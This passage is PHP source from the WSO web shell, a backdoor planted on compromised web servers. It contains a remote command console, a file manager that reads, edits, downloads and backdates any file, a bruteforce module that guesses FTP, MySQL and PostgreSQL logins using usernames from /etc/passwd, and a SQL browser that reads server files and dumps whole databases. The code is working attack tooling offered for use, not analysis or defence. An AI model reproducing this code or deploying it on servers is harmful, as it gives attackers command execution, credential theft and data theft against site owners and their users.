504 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
505 $l = $l ? 0 : 1;
506 }
507 echo "<tr><td colspan=7>
508 <input type=hidden name=a value='FilesMan'>
509 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
510 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
511 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
512 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
513 echo "<option value='tar'>Compress (tar.gz)</option>";
514 if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
515 echo "</select> ";
516 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
517 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
518 wsoFooter();
519 }
520 function actionStringTools() {
521 if (!function_exists('hex2bin')) {
522 function hex2bin($p) {
523 return decbin(hexdec($p));
524 }
525 }
526 if (!function_exists('binhex')) {
527 function binhex($p) {
528 return dechex(bindec($p));
529 }
530 }
531 if (!function_exists('hex2ascii')) {
532 function hex2ascii($p) {
533 $r = '';
534 for ($i = 0;$i < strLen($p);$i+= 2) {
535 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
536 }
537 return $r;
538 }
539 }
540 if (!function_exists('ascii2hex')) {
541 function ascii2hex($p) {
542 $r = '';
543 for ($i = 0;$i < strlen($p);++$i) $r.= sprintf('%02X', ord($p[$i]));
544 return strtoupper($r);
545 }
546 }
547 if (!function_exists('full_urlencode')) {
548 function full_urlencode($p) {
549 $r = '';
550 for ($i = 0;$i < strlen($p);++$i) $r.= '%' . dechex(ord($p[$i]));
551 return strtoupper($r);
552 }
553 }
554 $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen',);
555 if (isset($_POST['ajax'])) {
556 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
557 ob_start();
558 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
559 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
560
561 \'\00") . "';
562";
563 echo strlen($temp), "
564", $temp;
565 exit;
566 }
567 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
568 wsoHeader();
569 echo '<h1>String conversions</h1><div class=content>';
570 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
571 foreach ($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
572 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
573 if (!empty($_POST['p1'])) {
574 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
575 }
576 echo "</pre></div><br><h1>Search files:</h1><div class=content>
577 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
578 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
579 <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
580 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
581 <tr><td></td><td><input type='submit' value='>>'></td></tr>
582 </table></form>";
583 function wsoRecursiveGlob($path) {
584 if (substr($path, -1) != '/') $path.= '/';
585 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
586 if (is_array($paths) && @count($paths)) {
587 foreach ($paths as $item) {
588 if (@is_dir($item)) {
589 if ($path != $item) wsoRecursiveGlob($item);
590 } else {
591 if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
592 }
593 }
594 }
595 }
596 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
597 echo "</div><br><h1>Search for hash:</h1><div class=content>
598 <form method='post' target='_blank' name='hf'>
599 <input type='text' name='hash' style='width:200px;'><br>
600 <input type='hidden' name='act' value='find'/>
601 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
602 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
603 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
604 </form></div>";
605 wsoFooter();
606 }
607 function actionFilesTools() {
608 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
609 if (@$_POST['p2'] == 'download') {
610 if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
611 ob_start("ob_gzhandler", 4096);
612 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
613 if (function_exists("mime_content_type")) {
614 $type = @mime_content_type($_POST['p1']);
615 header("Content-Type: " . $type);
616 } else header("Content-Type: application/octet-stream");
617 $fp = @fopen($_POST['p1'], "r");
618 if ($fp) {
619 while (!@feof($fp)) echo @fread($fp, 1024);
620 fclose($fp);
621 }
622 }
623 exit;
624 }
625 if (@$_POST['p2'] == 'mkfile') {
626 if (!file_exists($_POST['p1'])) {
627 $fp = @fopen($_POST['p1'], 'w');
628 if ($fp) {
629 $_POST['p2'] = "edit";
630 fclose($fp);
631 }
632 }
633 }
634 wsoHeader();
635 echo '<h1>File tools</h1><div class=content>';
636 if (!file_exists(@$_POST['p1'])) {
637 echo 'File not exists';
638 wsoFooter();
639 return;
640 }
641 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
642 if (!$uid) {
643 $uid['name'] = @fileowner($_POST['p1']);
644 $gid['name'] = @filegroup($_POST['p1']);
645 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
646 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
647 echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
648 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
649 if (is_file($_POST['p1'])) $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
650 else $m = array('Chmod', 'Rename', 'Touch');
651 foreach ($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
652 echo '<br><br>';
653 switch ($_POST['p2']) {
654 case 'view':
655 echo '<pre class=ml1>';
656 $fp = @fopen($_POST['p1'], 'r');
657 if ($fp) {
658 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
659 @fclose($fp);
660 }
661 echo '</pre>';
662 break;
663 case 'highlight':
664 if (@is_readable($_POST['p1'])) {
665 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
666 $code = @highlight_file($_POST['p1'], true);
667 echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
668 }
669 break;
670 case 'chmod':
671 if (!empty($_POST['p3'])) {
672 $perms = 0;
673 for ($i = strlen($_POST['p3']) - 1;$i >= 0;--$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
674 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
675 }
676 clearstatcache();
677 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
678 break;
679 case 'edit':
680 if (!is_writable($_POST['p1'])) {
681 echo 'File isn\'t writeable';
682 break;
683 }
684 if (!empty($_POST['p3'])) {
685 $time = @filemtime($_POST['p1']);
686 $_POST['p3'] = substr($_POST['p3'], 1);
687 $fp = @fopen($_POST['p1'], "w");
688 if ($fp) {
689 @fwrite($fp, $_POST['p3']);
690 @fclose($fp);
691 echo 'Saved!<br><script>p3_="";</script>';
692 @touch($_POST['p1'], $time, $time);
693 }
694 }
695 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
696 $fp = @fopen($_POST['p1'], 'r');
697 if ($fp) {
698 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
699 @fclose($fp);
700 }
701 echo '</textarea><input type=submit value=">>"></form>';
702 break;
703 case 'hexdump':
704 $c = @file_get_contents($_POST['p1']);
705 $n = 0;
706 $h = array('00000000<br>', '', '');
707 $len = strlen($c);
708 for ($i = 0;$i < $len;++$i) {
709 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
710 switch (ord($c[$i])) {
711 case 0:
712 $h[2].= ' ';
713 break;
714 case 9:
715 $h[2].= ' ';
716 break;
717 case 10:
718 $h[2].= ' ';
719 break;
720 case 13:
721 $h[2].= ' ';
722 break;
723 default:
724 $h[2].= $c[$i];
725 break;
726 }
727 $n++;
728 if ($n == 32) {
729 $n = 0;
730 if ($i + 1 < $len) {
731 $h[0].= sprintf('%08X', $i + 1) . '<br>';
732 }
733 $h[1].= '<br>';
734 $h[2].= "
735";
736 }
737 }
738 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
739 break;
740 case 'rename':
741 if (!empty($_POST['p3'])) {
742 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br>';
743 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
744 }
745 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
746 break;
747 case 'touch':
748 if (!empty($_POST['p3'])) {
749 $time = strtotime($_POST['p3']);
750 if ($time) {
751 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
752 else echo 'Touched!';
753 } else echo 'Bad time format!';
754 }
755 clearstatcache();
756 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
757 break;
758 }
759 echo '</div>';
760 wsoFooter();
761 }
762 function actionConsole() {
763 if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
764 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
765 $_POST['p1'].= ' 2>&1';
766 } elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
767 if (isset($_POST['ajax'])) {
768 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
769 ob_start();
770 echo "d.cf.cmd.value='';
771";
772 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
773$ " . $_POST['p1'] . "
774" . wsoEx($_POST['p1']), "
775
776 \'\00"));
777 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
778 if (@chdir($match[1])) {
779 $GLOBALS['cwd'] = @getcwd();
780 echo "c_='" . $GLOBALS['cwd'] . "';";
781 }
782 }
783 echo "d.cf.output.value+='" . $temp . "';";
784 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
785 $temp = ob_get_clean();
786 echo strlen($temp), "
787", $temp;
788 exit;
789 }
790 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
791 wsoHeader();
792 echo "<script>
793if(window.Event) window.captureEvents(Event.KEYDOWN);
794var cmds = new Array('');
795var cur = 0;
796function kp(e) {
797 var n = (window.Event) ? e.which : e.keyCode;
798 if(n == 38) {
799 cur--;
800 if(cur>=0)
801 document.cf.cmd.value = cmds[cur];
802 else
803 cur++;
804 } else if(n == 40) {
805 cur++;
806 if(cur < cmds.length)
807 document.cf.cmd.value = cmds[cur];
808 else
809 cur--;
810 }
811}
812function add(cmd) {
813 cmds.pop();
814 cmds.push(cmd);
815 cmds.push('');
816 cur = cmds.length-1;
817}
818</script>";
819 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
820 foreach ($GLOBALS['aliases'] as $n => $v) {
821 if ($v == '') {
822 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
823 continue;
824 }
825 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
826 }
827 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
828 if (!empty($_POST['p1'])) {
829 echo htmlspecialchars("$ " . $_POST['p1'] . "
830" . wsoEx($_POST['p1']));
831 }
832 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
833 echo '</form></div><script>d.cf.cmd.focus();</script>';
834 wsoFooter();
835 }
836 function actionLogout() {
837 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
838 die('bye!');
839 }
840 function actionSelfRemove() {
841 if ($_POST['p1'] == 'yes') if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
842 else echo 'unlink error!';
843 if ($_POST['p1'] != 'yes') wsoHeader();
844 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
845 wsoFooter();
846 }
847 function actionBruteforce() {
848 wsoHeader();
849 if (isset($_POST['proto'])) {
850 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
851 if ($_POST['proto'] == 'ftp') {
852 function wsoBruteForce($ip, $port, $login, $pass) {
853 $fp = @ftp_connect($ip, $port ? $port : 21);
854 if (!$fp) return false;
855 $res = @ftp_login($fp, $login, $pass);
856 @ftp_close($fp);
857 return $res;
858 }
859 } elseif ($_POST['proto'] == 'mysql') {
860 function wsoBruteForce($ip, $port, $login, $pass) {
861 $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
862 @mysql_close($res);
863 return $res;
864 }
865 } elseif ($_POST['proto'] == 'pgsql') {
866 function wsoBruteForce($ip, $port, $login, $pass) {
867 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
868 $res = @pg_connect($str);
869 @pg_close($res);
870 return $res;
871 }
872 }
873 $success = 0;
874 $attempts = 0;
875 $server = explode(":", $_POST['server']);
876 if ($_POST['type'] == 1) {
877 $temp = @file('/etc/passwd');
878 if (is_array($temp)) foreach ($temp as $line) {
879 $line = explode(":", $line);
880 ++$attempts;
881 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
882 $success++;
883 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
884 }
885 if (@$_POST['reverse']) {
886 $tmp = "";
887 for ($i = strlen($line[0]) - 1;$i >= 0;--$i) $tmp.= $line[0][$i];
888 ++$attempts;
889 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
890 $success++;
891 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
892 }
893 }
894 }
895 } elseif ($_POST['type'] == 2) {
896 $temp = @file($_POST['dict']);
897 if (is_array($temp)) foreach ($temp as $line) {
898 $line = trim($line);
899 ++$attempts;
900 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line)) {
901 $success++;
902 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
903 }
904 }
905 }
906 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
907 }
908 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
909 echo '</div><br>';
910 wsoFooter();
911 }
912 function actionSql() {
913 class DbClass {
914 var $type;
915 var $link;
916 var $res;
917 function DbClass($type) {
918 $this->type = $type;
919 }
920 function connect($host, $user, $pass, $dbname) {
921 switch ($this->type) {
922 case 'mysql':
923 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
924 break;
925 case 'pgsql':
926 $host = explode(':', $host);
927 if (!$host[1]) $host[1] = 5432;
928 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
929 break;
930 }
931 return false;
932 }
933 function selectdb($db) {
934 switch ($this->type) {
935 case 'mysql':
936 if (@mysql_select_db($db)) return true;
937 break;
938 }
939 return false;
940 }
941 function query($str) {
942 switch ($this->type) {
943 case 'mysql':
944 return $this->res = @mysql_query($str);
945 break;
946 case 'pgsql':
947 return $this->res = @pg_query($this->link, $str);
948 break;
949 }
950 return false;
951 }
952 function fetch() {
953 $res = func_num_args() ? func_get_arg(0) : $this->res;
954 switch ($this->type) {
955 case 'mysql':
956 return @mysql_fetch_assoc($res);
957 break;
958 case 'pgsql':
959 return @pg_fetch_assoc($res);
960 break;
961 }
962 return false;
963 }
964 function listDbs() {
965 switch ($this->type) {
966 case 'mysql':
967 return $this->query("SHOW databases");
968 break;
969 case 'pgsql':
970 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
971 break;
972 }
973 return false;
974 }
975 function listTables() {
976 switch ($this->type) {
977 case 'mysql':
978 return $this->res = $this->query('SHOW TABLES');
979 break;
980 case 'pgsql':
981 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
982 break;
983 }
984 return false;
985 }
986 function error() {
987 switch ($this->type) {
988 case 'mysql':
989 return @mysql_error();
990 break;
991 case 'pgsql':
992 return @pg_last_error();
993 break;
994 }
995 return false;
996 }
997 function setCharset($str) {
998 switch ($this->type) {
999 case 'mysql':
1000 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1001 else $this->query('SET CHARSET ' . $str);
1002 break;
1003 case 'pgsql':
1004 return @pg_set_client_encoding($this->link, $str);
1005 break;
1006 }
1007 return false;
1008 }
1009 function loadFile($str) {
1010 switch ($this->type) {
1011 case 'mysql':
1012 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1013 break;
1014 case 'pgsql':
1015 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1016 $r = array();
1017 while ($i = $this->fetch()) $r[] = $i['file'];
1018 $this->query('drop table wso2');
1019 return array('file' => implode("
1020", $r));
1021 break;
1022 }
1023 return false;
1024 }
1025 function dump($table, $fp = false) {
1026 switch ($this->type) {
1027 case 'mysql':
1028 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1029 $create = mysql_fetch_array($res);
1030 $sql = $create[1] . ";
1031";
1032 if ($fp) fwrite($fp, $sql);
1033 else echo ($sql);
1034 $this->query('SELECT * FROM `' . $table . '`');
1035 $i = 0;
1036 $head = true;
1037 while ($item = $this->fetch()) {
1038 $sql = '';
1039 if ($i % 1000 == 0) {
1040 $head = true;
1041 $sql = ";
1042
1043";
1044 }
1045 $columns = array();
1046 foreach ($item as $k => $v) {
1047 if ($v === null) $item[$k] = "NULL";
1048 elseif (is_int($v)) $item[$k] = $v;
1049 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1050 $columns[] = "`" . $k . "`";
1051 }
1052 if ($head) {
1053 $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES
1054 (" . implode(", ", $item) . ')';
1055 $head = false;
1056 } else $sql.= "
1057 ,(" . implode(", ", $item) . ')';
1058 if ($fp) fwrite($fp, $sql);
1059 else echo ($sql);
1060 $i++;
1061 }
1062 if (!$head) if ($fp) fwrite($fp, ";
1063
1064");
1065 else echo (";
1066
1067");
1068 break;
1069 case 'pgsql':
1070 $this->query('SELECT * FROM ' . $table);
1071 while ($item = $this->fetch()) {
1072 $columns = array();
1073 foreach ($item as $k => $v) {
1074 $item[$k] = "'" . addslashes($v) . "'";
1075 $columns[] = $k;
1076 }
1077 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "
1078";
1079 if ($fp) fwrite($fp, $sql);
1080 else echo ($sql);
1081 }
1082 break;
1083 }
1084 return false;
1085 }
1086 };
1087 $db = new DbClass($_POST['type']);
1088 if (@$_POST['p2'] == 'download') {
1089 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1090 $db->selectdb($_POST['sql_base']);
1091 switch ($_POST['charset']) {
1092 case "Windows-1251":
1093 $db->setCharset('cp1251');
1094 break;
1095 case "UTF-8":
1096 $db->setCharset('utf8');
1097 break;
1098 case "KOI8-R":
1099 $db->setCharset('koi8r');
1100 break;
1101 case "KOI8-U":
1102 $db->setCharset('koi8u');
1103 break;
1104 case "cp866":
1105 $db->setCharset('cp866');
1106 break;
1107 }
1108 if (empty($_POST['file'])) {
1109 ob_start("ob_gzhandler", 4096);
1110 header("Content-Disposition: attachment; filename=dump.sql");
1111 header("Content-Type: text/plain");
1112 foreach ($_POST['tbl'] as $v) $db->dump($v);
1113 exit;
1114 } elseif ($fp = @fopen($_POST['file'], 'w')) {
1115 foreach ($_POST['tbl'] as $v) $db->dump($v, $fp);
1116 fclose($fp);
1117 unset($_POST['p2']);
1118 } else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1119 }
1120 wsoHeader();
1121 echo "
1122<h1>Sql browser</h1><div class=content>
1123<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1124<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1125<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
1126<td><select name='type'><option value='mysql' ";
1127 if (@$_POST['type'] == 'mysql') echo 'selected';
1128 echo ">MySql</option><option value='pgsql' ";
1129 if (@$_POST['type'] == 'pgsql') echo 'selected';
1130 echo ">PostgreSql</option></select></td>
1131<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>
1132<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>
1133<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\"></td><td>";
1134 $tmp = "<input type=text name=sql_base value=''>";
1135 if (isset($_POST['sql_host'])) {
1136 if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1137 switch ($_POST['charset']) {
1138 case "Windows-1251":
1139 $db->setCharset('cp1251');
1140 break;
1141 case "UTF-8":
1142 $db->setCharset('utf8');
1143 break;
1144 case "KOI8-R":
1145 $db->setCharset('koi8r');
1146 break;
1147 case "KOI8-U":
1148 $db->setCharset('koi8u');
1149 break;
1150 case "cp866":
1151 $db->setCharset('cp866');
1152 break;
1153 }
1154 $db->listDbs();
1155 echo "<select name=sql_base><option value=''></option>";
1156 while ($item = $db->fetch()) {
1157 list($key, $value) = each($item);
1158 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1159 }
1160 echo '</select>';
1161 } else echo $tmp;
1162 } else echo $tmp;
1163 echo "</td>
1164 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1165 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
1166 </tr>
1167 </table>
1168 <script>
1169 s_db='" . @addslashes($_POST['sql_base']) . "';
